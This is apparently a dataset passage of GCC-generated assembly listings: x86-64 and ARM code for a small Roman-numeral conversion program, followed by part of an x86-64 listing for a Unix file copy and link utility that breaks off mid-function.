mov BYTE PTR -44[rbp], 0
mov BYTE PTR -43[rbp], 0
mov BYTE PTR -42[rbp], 0
cmp BYTE PTR -47[rbp], 9
jg .L9
cmp BYTE PTR -47[rbp], 3
jle .L9
mov BYTE PTR -44[rbp], 1
jmp .L10
.L9:
movzx eax, BYTE PTR -47[rbp]
movsx dx, al
imul edx, edx, 103
shr dx, 8
sar dl
mov esi, eax
sar sil, 7
mov ecx, edx
sub ecx, esi
mov edx, ecx
sal edx, 2
add edx, ecx
sub eax, edx
mov BYTE PTR -47[rbp], al
.L10:
cmp BYTE PTR -46[rbp], 9
jg .L11
cmp BYTE PTR -46[rbp], 3
jle .L11
mov BYTE PTR -43[rbp], 1
jmp .L12
.L11:
movzx eax, BYTE PTR -46[rbp]
movsx dx, al
imul edx, edx, 103
shr dx, 8
sar dl
mov esi, eax
sar sil, 7
mov ecx, edx
sub ecx, esi
mov edx, ecx
sal edx, 2
add edx, ecx
sub eax, edx
mov BYTE PTR -46[rbp], al
.L12:
cmp BYTE PTR -45[rbp], 9
jg .L13
cmp BYTE PTR -45[rbp], 3
jle .L13
mov BYTE PTR -42[rbp], 1
jmp .L14
.L13:
movzx eax, BYTE PTR -45[rbp]
movsx dx, al
imul edx, edx, 103
shr dx, 8
sar dl
mov esi, eax
sar sil, 7
mov ecx, edx
sub ecx, esi
mov edx, ecx
sal edx, 2
add edx, ecx
sub eax, edx
mov BYTE PTR -45[rbp], al
.L14:
lea rax, -32[rbp]
mov QWORD PTR -40[rbp], rax
movsx eax, BYTE PTR -41[rbp]
lea rdx, -40[rbp]
mov rcx, rdx
lea rdx, .LC0[rip]
mov esi, 0
mov edi, eax
call rn_chcpy
movsx esi, BYTE PTR -44[rbp]
movsx eax, BYTE PTR -47[rbp]
lea rdx, -40[rbp]
mov rcx, rdx
lea rdx, .LC1[rip]
mov edi, eax
call rn_chcpy
movsx esi, BYTE PTR -43[rbp]
movsx eax, BYTE PTR -46[rbp]
lea rdx, -40[rbp]
mov rcx, rdx
lea rdx, .LC2[rip]
mov edi, eax
call rn_chcpy
movsx esi, BYTE PTR -42[rbp]
movsx eax, BYTE PTR -45[rbp]
lea rdx, -40[rbp]
mov rcx, rdx
lea rdx, .LC3[rip]
mov edi, eax
call rn_chcpy
mov rax, QWORD PTR -40[rbp]
mov BYTE PTR [rax], 0
lea rax, -32[rbp]
mov edx, 16
mov rsi, rax
lea rdi, RN_S[rip]
call strncpy@PLT
lea rax, RN_S[rip]
mov rdi, QWORD PTR -8[rbp]
sub rdi, QWORD PTR fs:40
je .L16
call __stack_chk_fail@PLT
.L16:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size solution, .-solution
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "935723.c"
.text
.comm RN_S,16,4
.align 2
.global rn_chcpy
.syntax unified
.arm
.fpu softvfp
.type rn_chcpy, %function
rn_chcpy:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r2, [fp, #-20]
str r3, [fp, #-24]
mov r3, r0
strb r3, [fp, #-13]
mov r3, r1
strb r3, [fp, #-14]
ldrb r3, [fp, #-13] @ zero_extendqisi2
cmp r3, #9
bne .L2
ldr r3, [fp, #-24]
ldr r3, [r3]
ldrb r3, [r3]
strb r3, [fp, #-5]
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3]
ldrb r2, [fp, #-5]
strb r2, [r3]
mov r3, #0
strb r3, [fp, #-13]
mov r3, #0
strb r3, [fp, #-14]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
b .L6
.L2:
ldrb r3, [fp, #-13] @ zero_extendqisi2
cmp r3, #5
bne .L4
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2, #1] @ zero_extendqisi2
strb r2, [r3]
mov r3, #0
strb r3, [fp, #-13]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
b .L6
.L4:
ldrb r3, [fp, #-13] @ zero_extendqisi2
cmp r3, #4
bne .L5
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2, #1] @ zero_extendqisi2
strb r2, [r3]
mov r3, #0
strb r3, [fp, #-13]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
b .L6
.L5:
ldrb r3, [fp, #-14] @ zero_extendqisi2
cmp r3, #0
beq .L6
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2, #1] @ zero_extendqisi2
strb r2, [r3]
ldrb r3, [fp, #-13]
sub r3, r3, #5
strb r3, [fp, #-13]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
b .L6
.L7:
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-24]
str r2, [r3]
ldrb r3, [fp, #-13] @ zero_extendqisi2
sub r3, r3, #1
strb r3, [fp, #-13]
.L6:
ldrb r3, [fp, #-13] @ zero_extendqisi2
cmp r3, #0
bne .L7
ldr r3, [fp, #-24]
ldr r3, [r3]
ldr r2, [fp, #-20]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size rn_chcpy, .-rn_chcpy
.section .rodata
.align 2
.LC0:
.ascii "M \000"
.align 2
.LC1:
.ascii "CD\000"
.align 2
.LC2:
.ascii "XL\000"
.align 2
.LC3:
.ascii "IV\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global solution
.syntax unified
.arm
.fpu softvfp
.type solution, %function
solution:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
ldr r3, .L17
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-24]
sub r3, fp, #20
mov r2, #0
str r2, [r3]
str r2, [r3, #4]
str r2, [r3, #8]
mov r3, #0
str r3, [fp, #-28]
ldr r1, [fp, #-40]
ldr r3, .L17+4
smull r2, r3, r1, r3
asr r2, r3, #6
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #5
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
sub r2, r1, r3
ldr r3, [fp, #-40]
sub r3, r3, r2
ldr r2, .L17+4
smull r1, r2, r3, r2
asr r2, r2, #6
asr r3, r3, #31
sub r3, r2, r3
strb r3, [fp, #-29]
ldr r1, [fp, #-40]
ldr r3, .L17+4
smull r2, r3, r1, r3
asr r2, r3, #6
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #5
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
sub r2, r1, r3
ldr r0, [fp, #-40]
ldr r3, .L17+8
smull r1, r3, r0, r3
asr r1, r3, #5
asr r3, r0, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
lsl r1, r3, #2
add r3, r3, r1
lsl r3, r3, #2
sub r1, r0, r3
sub r3, r2, r1
ldr r2, .L17+8
smull r1, r2, r3, r2
asr r2, r2, #5
asr r3, r3, #31
sub r3, r2, r3
strb r3, [fp, #-35]
ldr r2, [fp, #-40]
ldr r3, .L17+8
smull r1, r3, r2, r3
asr r1, r3, #5
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
lsl r1, r3, #2
add r3, r3, r1
lsl r3, r3, #2
sub r1, r2, r3
ldr r0, [fp, #-40]
ldr r3, .L17+12
smull r2, r3, r0, r3
asr r2, r3, #2
asr r3, r0, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
sub r2, r0, r3
sub r3, r1, r2
ldr r2, .L17+12
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r3, r2, r3
strb r3, [fp, #-34]
ldr r2, [fp, #-40]
ldr r3, .L17+12
smull r1, r3, r2, r3
asr r1, r3, #2
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
lsl r3, r3, #1
sub r1, r2, r3
mov r3, r1
strb r3, [fp, #-33]
mov r3, #0
strb r3, [fp, #-32]
mov r3, #0
strb r3, [fp, #-31]
mov r3, #0
strb r3, [fp, #-30]
ldrb r3, [fp, #-35] @ zero_extendqisi2
cmp r3, #9
bhi .L9
ldrb r3, [fp, #-35] @ zero_extendqisi2
cmp r3, #3
bls .L9
mov r3, #1
strb r3, [fp, #-32]
b .L10
.L9:
ldrb r2, [fp, #-35] @ zero_extendqisi2
ldr r3, .L17+16
umull r1, r3, r2, r3
lsr r1, r3, #2
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
sub r3, r2, r3
strb r3, [fp, #-35]
.L10:
ldrb r3, [fp, #-34] @ zero_extendqisi2
cmp r3, #9
bhi .L11
ldrb r3, [fp, #-34] @ zero_extendqisi2
cmp r3, #3
bls .L11
mov r3, #1
strb r3, [fp, #-31]
b .L12
.L11:
ldrb r2, [fp, #-34] @ zero_extendqisi2
ldr r3, .L17+16
umull r1, r3, r2, r3
lsr r1, r3, #2
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
sub r3, r2, r3
strb r3, [fp, #-34]
.L12:
ldrb r3, [fp, #-33] @ zero_extendqisi2
cmp r3, #9
bhi .L13
ldrb r3, [fp, #-33] @ zero_extendqisi2
cmp r3, #3
bls .L13
mov r3, #1
strb r3, [fp, #-30]
b .L14
.L13:
ldrb r2, [fp, #-33] @ zero_extendqisi2
ldr r3, .L17+16
umull r1, r3, r2, r3
lsr r1, r3, #2
mov r3, r1
lsl r3, r3, #2
add r3, r3, r1
sub r3, r2, r3
strb r3, [fp, #-33]
.L14:
sub r3, fp, #24
str r3, [fp, #-28]
sub r3, fp, #28
ldrb r0, [fp, #-29] @ zero_extendqisi2
ldr r2, .L17+20
mov r1, #0
bl rn_chcpy
sub r3, fp, #28
ldrb r1, [fp, #-32] @ zero_extendqisi2
ldrb r0, [fp, #-35] @ zero_extendqisi2
ldr r2, .L17+24
bl rn_chcpy
sub r3, fp, #28
ldrb r1, [fp, #-31] @ zero_extendqisi2
ldrb r0, [fp, #-34] @ zero_extendqisi2
ldr r2, .L17+28
bl rn_chcpy
sub r3, fp, #28
ldrb r1, [fp, #-30] @ zero_extendqisi2
ldrb r0, [fp, #-33] @ zero_extendqisi2
ldr r2, .L17+32
bl rn_chcpy
ldr r3, [fp, #-28]
mov r2, #0
strb r2, [r3]
sub r3, fp, #24
mov r2, #16
mov r1, r3
ldr r0, .L17+36
bl strncpy
ldr r3, .L17+36
ldr r2, .L17
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L16
bl __stack_chk_fail
.L16:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L18:
.align 2
.L17:
.word .LC4
.word 274877907
.word 1374389535
.word 1717986919
.word -858993459
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word RN_S
.size solution, .-solution
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "388316.c"
.intel_syntax noprefix
.text
.globl prog_name
.bss
.align 8
.type prog_name, @object
.size prog_name, 8
prog_name:
.zero 8
.globl ex_code
.align 4
.type ex_code, @object
.size ex_code, 4
ex_code:
.zero 4
.globl identity
.align 4
.type identity, @object
.size identity, 4
identity:
.zero 4
.globl action
.align 4
.type action, @object
.size action, 4
action:
.zero 4
.globl pflag
.align 4
.type pflag, @object
.size pflag, 4
pflag:
.zero 4
.globl iflag
.align 4
.type iflag, @object
.size iflag, 4
iflag:
.zero 4
.globl fflag
.align 4
.type fflag, @object
.size fflag, 4
fflag:
.zero 4
.globl sflag
.align 4
.type sflag, @object
.size sflag, 4
sflag:
.zero 4
.globl Sflag
.align 4
.type Sflag, @object
.size Sflag, 4
Sflag:
.zero 4
.globl mflag
.align 4
.type mflag, @object
.size mflag, 4
mflag:
.zero 4
.globl rflag
.align 4
.type rflag, @object
.size rflag, 4
rflag:
.zero 4
.globl vflag
.align 4
.type vflag, @object
.size vflag, 4
vflag:
.zero 4
.globl xflag
.align 4
.type xflag, @object
.size xflag, 4
xflag:
.zero 4
.globl xdev
.align 4
.type xdev, @object
.size xdev, 4
xdev:
.zero 4
.globl expand
.align 4
.type expand, @object
.size expand, 4
expand:
.zero 4
.globl conforming
.data
.align 4
.type conforming, @object
.size conforming, 4
conforming:
.long 1
.globl fc_mask
.bss
.align 4
.type fc_mask, @object
.size fc_mask, 4
fc_mask:
.zero 4
.globl uid
.align 4
.type uid, @object
.size uid, 4
uid:
.zero 4
.globl gid
.align 4
.type gid, @object
.size gid, 4
gid:
.zero 4
.globl istty
.align 4
.type istty, @object
.size istty, 4
istty:
.zero 4
.section .rodata
.LC0:
.string "%s: %s: %s\n"
.text
.globl report
.type report, @function
report:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov eax, DWORD PTR action[rip]
cmp eax, 2
jne .L2
mov eax, DWORD PTR fflag[rip]
test eax, eax
jne .L4
.L2:
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rsi, rax
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rcx, QWORD PTR -8[rbp]
mov r8, rsi
lea rsi, .LC0[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR ex_code[rip], 1
jmp .L1
.L4:
nop
.L1:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size report, .-report
.globl fatal
.type fatal, @function
fatal:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call report
mov edi, 1
call exit@PLT
.cfi_endproc
.LFE7:
.size fatal, .-fatal
.section .rodata
.LC1:
.string "%s %s %s: %s\n"
.text
.globl report2
.type report2, @function
report2:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rsi, rax
mov rdx, QWORD PTR prog_name[rip]
mov rax, QWORD PTR stderr[rip]
mov rdi, QWORD PTR -16[rbp]
mov rcx, QWORD PTR -8[rbp]
mov r9, rsi
mov r8, rdi
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov DWORD PTR ex_code[rip], 1
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size report2, .-report2
.section .rodata
.LC2:
.string "malloc()"
.text
.globl allocate
.type allocate, @function
allocate:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
cmp QWORD PTR -8[rbp], 0
jne .L8
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call malloc@PLT
jmp .L9
.L8:
mov rdx, QWORD PTR -16[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call realloc@PLT
.L9:
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
jne .L10
lea rdi, .LC2[rip]
call fatal
.L10:
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size allocate, .-allocate
.globl deallocate
.type deallocate, @function
deallocate:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L14
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
.L14:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size deallocate, .-deallocate
.globl path_init
.type path_init, @function
path_init:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], 16
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rsi, rax
mov edi, 0
call allocate
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], 0
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov BYTE PTR [rax], 0
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size path_init, .-path_init
.globl path_add
.type path_add, @function
path_add:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov rax, QWORD PTR -40[rbp]
mov rbx, QWORD PTR 8[rax]
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call strlen@PLT
add rax, rbx
add rax, 2
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR 16[rax]
cmp QWORD PTR -24[rbp], rax
jbe .L17
mov rax, QWORD PTR -24[rbp]
shr rax
add QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -24[rbp]
mov rsi, rdx
mov rdi, rax
call allocate
mov rdx, QWORD PTR -40[rbp]
mov QWORD PTR [rdx], rax
.L17:
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR 8[rax]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
cmp QWORD PTR -32[rbp], rax
jbe .L19
mov rax, QWORD PTR -32[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L19
mov rax, QWORD PTR -32[rbp]
lea rdx, 1[rax]
mov QWORD PTR -32[rbp], rdx
mov BYTE PTR [rax], 47
jmp .L19
.L22:
mov rax, QWORD PTR -48[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
jne .L20
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rax]
cmp QWORD PTR -32[rbp], rax
je .L20
mov rax, QWORD PTR -32[rbp]
sub rax, 1
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L21
.L20:
mov rax, QWORD PTR -32[rbp]
lea rdx, 1[rax]
mov QWORD PTR -32[rbp], rdx
mov rdx, QWORD PTR -48[rbp]
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
.L21:
add QWORD PTR -48[rbp], 1
.L19:
mov rax, QWORD PTR -48[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L22
mov rax, QWORD PTR -32[rbp]
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
sub rax, rdx
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR 8[rax], rdx
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size path_add, .-path_add
.globl path_trunc
.type path_trunc, @function
path_trunc:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov rax, QWORD PTR -8[rbp]
mov rcx, QWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
add rax, rcx
mov BYTE PTR [rax], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size path_trunc, .-path_trunc
.globl basename
.type basename, @function
basename:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -8[rbp], rax
jmp .L25
.L26:
add QWORD PTR -8[rbp], 1
.L25:
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L26
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
test al, al
je .L35
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR -24[rbp], rax
jmp .L29
.L31:
add QWORD PTR -8[rbp], 1
.L29:
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
test al, al
je .L25
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 47
jne .L31
jmp .L25
.L35:
nop
mov rax, QWORD PTR -24[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size basename, .-basename
.globl affirmative
.type affirmative, @function
affirmative:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR stdout[rip]
mov rdi, rax
call fflush@PLT
mov rax, QWORD PTR stderr[rip]
mov rdi, rax
call fflush@PLT
nop
.L37:
call getchar@PLT
mov DWORD PTR -8[rbp], eax
cmp DWORD PTR -8[rbp], 32
je .L37
cmp DWORD PTR -8[rbp], 121
je .L38
cmp DWORD PTR -8[rbp], 89
jne .L39
.L38:
mov eax, 1
jmp .L40
.L39:
mov eax, 0
.L40:
mov DWORD PTR -4[rbp], eax
jmp .L41
.L43:
call getchar@PLT
mov DWORD PTR -8[rbp], eax
.L41:
cmp DWORD PTR -8[rbp], -1
je .L42
cmp DWORD PTR -8[rbp], 10
jne .L43
.L42:
mov eax, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size affirmative, .-affirmative
.globl writable
.type writable, @function
writable:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, DWORD PTR istty[rip]
test eax, eax
je .L46
mov eax, DWORD PTR uid[rip]
test eax, eax
jne .L47
.L46:
mov eax, 1
jmp .L48
.L47:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 28[rax]
mov edx, DWORD PTR uid[rip]
cmp eax, edx
jne .L49
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 128
jmp .L48
.L49:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 32[rax]
mov edx, DWORD PTR gid[rip]
cmp eax, edx
jne .L50
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 16
jmp .L48
.L50:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 24[rax]
and eax, 2
.L48:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size writable, .-writable
.section .rodata
.LC3:
.string "ln %s %s\n"
.text
.globl trylink
.type trylink, @function
trylink:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov QWORD PTR -56[rbp], rdx
mov QWORD PTR -64[rbp], rcx
mov eax, DWORD PTR action[rip]
test eax, eax
jne .L52
mov eax, DWORD PTR expand[rip]
test eax, eax
je .L52
mov eax, 0
jmp .L53
.L52:
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR 8[rax]
mov eax, eax
movzx eax, al
lea rdx, 0[0+rax*8]
lea rax, oldies.3[rip]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -24[rbp], 0
jmp .L54
.L57:
mov rax, QWORD PTR -56[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 24[rax]
cmp rdx, rax
jne .L55
mov rax, QWORD PTR -56[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
cmp rdx, rax
jne .L55
mov DWORD PTR -24[rbp], 1
jmp .L56
.L55:
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR -16[rbp], rax
.L54:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
je .L56
mov rax, QWORD PTR -56[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 24[rax]
cmp rdx, rax
jbe .L57
.L56:
cmp DWORD PTR -24[rbp], 0
jne .L58
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR 16[rax]
cmp rax, 1
jbe .L59
mov esi, 40
mov edi, 0
call allocate
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call strlen@PLT
add rax, 1
mov rsi, rax
mov edi, 0
call allocate
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rdx], rax
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -48[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov rax, QWORD PTR -56[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 24[rax], rdx
mov rax, QWORD PTR -56[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -56[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 32[rax], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
.L59:
mov eax, 0
jmp .L53
.L58:
mov rax, QWORD PTR -64[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
je .L60
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call unlink@PLT
.L60:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -48[rbp]
mov rsi, rdx
mov rdi, rax
call link@PLT
test eax, eax
sete al
movzx eax, al
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -20[rbp], 0
je .L61
mov eax, DWORD PTR vflag[rip]
test eax, eax
je .L61
mov rax, QWORD PTR -8[rbp]
